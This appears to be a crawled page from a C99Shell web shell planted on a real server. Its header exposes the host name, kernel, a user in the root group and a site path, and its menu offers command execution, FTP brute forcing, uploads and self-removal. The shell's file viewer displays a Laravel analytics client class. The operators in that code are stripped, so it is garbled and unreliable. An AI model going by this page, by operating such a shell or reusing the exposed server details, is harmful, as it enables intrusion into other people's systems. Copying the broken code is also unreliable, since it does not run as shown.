!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/laravel-analytics/src/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AnalyticsClient.php (3.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Analytics;

use 
Google\Analytics\Data\V1beta\BetaAnalyticsDataClient;
use 
Google\Analytics\Data\V1beta\Dimension;
use 
Google\Analytics\Data\V1beta\FilterExpression;
use 
Google\Analytics\Data\V1beta\Metric;
use 
Google\Analytics\Data\V1beta\RunReportResponse;
use 
Illuminate\Contracts\Cache\Repository;
use 
Illuminate\Support\Collection;

class 
AnalyticsClient
{
    protected 
int $cacheLifeTimeInMinutes 0;

    public function 
__construct(
        protected 
BetaAnalyticsDataClient $service,
        protected 
Repository $cache,
    ) {
    }

    public function 
setCacheLifeTimeInMinutes(int $cacheLifeTimeInMinutes): self
    
{
        
$this->cacheLifeTimeInMinutes $cacheLifeTimeInMinutes 60;

        return 
$this;
    }

    public function 
get(
        
string $propertyId,
        
Period $period,
        array 
$metrics,
        array 
$dimensions = [],
        
int $maxResults 10,
        array 
$orderBy = [],
        
int $offset 0,
        ?
FilterExpression $dimensionFilter null,
        
bool $keepEmptyRows false,
        ?
FilterExpression $metricFilter null,
    ): 
Collection {
        
$typeCaster resolve(TypeCaster::class);

        
$response $this->runReport([
            
'property' => "properties/{$propertyId}",
            
'dateRanges' => [
                
$period->toDateRange(),
            ],
            
'metrics' => $this->getFormattedMetrics($metrics),
            
'dimensions' => $this->getFormattedDimensions($dimensions),
            
'limit' => $maxResults,
            
'offset' => $offset,
            
'orderBys' => $orderBy,
            
'dimensionFilter' => $dimensionFilter,
            
'keepEmptyRows' => $keepEmptyRows,
            
'metricFilter' => $metricFilter
        
]);

        
$result collect();

        foreach (
$response->getRows() as $row) {
            
$rowResult = [];

            foreach (
$row->getDimensionValues() as $i => $dimensionValue) {
                
$rowResult[$dimensions[$i]] =
                    
$typeCaster->castValue($dimensions[$i], $dimensionValue->getValue());
            }

            foreach (
$row->getMetricValues() as $i => $metricValue) {
                
$rowResult[$metrics[$i]] =
                    
$typeCaster->castValue($metrics[$i], $metricValue->getValue());
            }

            
$result->push($rowResult);
        }

        return 
$result;
    }

    public function 
runReport(array $request): RunReportResponse
    
{
        
$cacheName $this->determineCacheName(func_get_args());

        if (
$this->cacheLifeTimeInMinutes === 0) {
            
$this->cache->forget($cacheName);
        }

        return 
$this->cache->remember(
            
$cacheName,
            
$this->cacheLifeTimeInMinutes,
            fn () => 
$this->service->runReport($request),
        );
    }

    public function 
getAnalyticsService(): BetaAnalyticsDataClient
    
{
        return 
$this->service;
    }

    protected function 
determineCacheName(array $properties): string
    
{
        
$hash md5(serialize($properties));

        return 
"spatie.laravel-analytics.{$hash}";
    }

    protected function 
getFormattedMetrics(array $metrics): array
    {
        return 
collect($metrics)
            ->
map(fn ($metric) => new Metric(['name' => $metric]))
            ->
toArray();
    }

    protected function 
getFormattedDimensions(array $dimensions): array
    {
        return 
collect($dimensions)
            ->
map(fn ($dimension) => new Dimension(['name' => $dimension]))
            ->
toArray();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--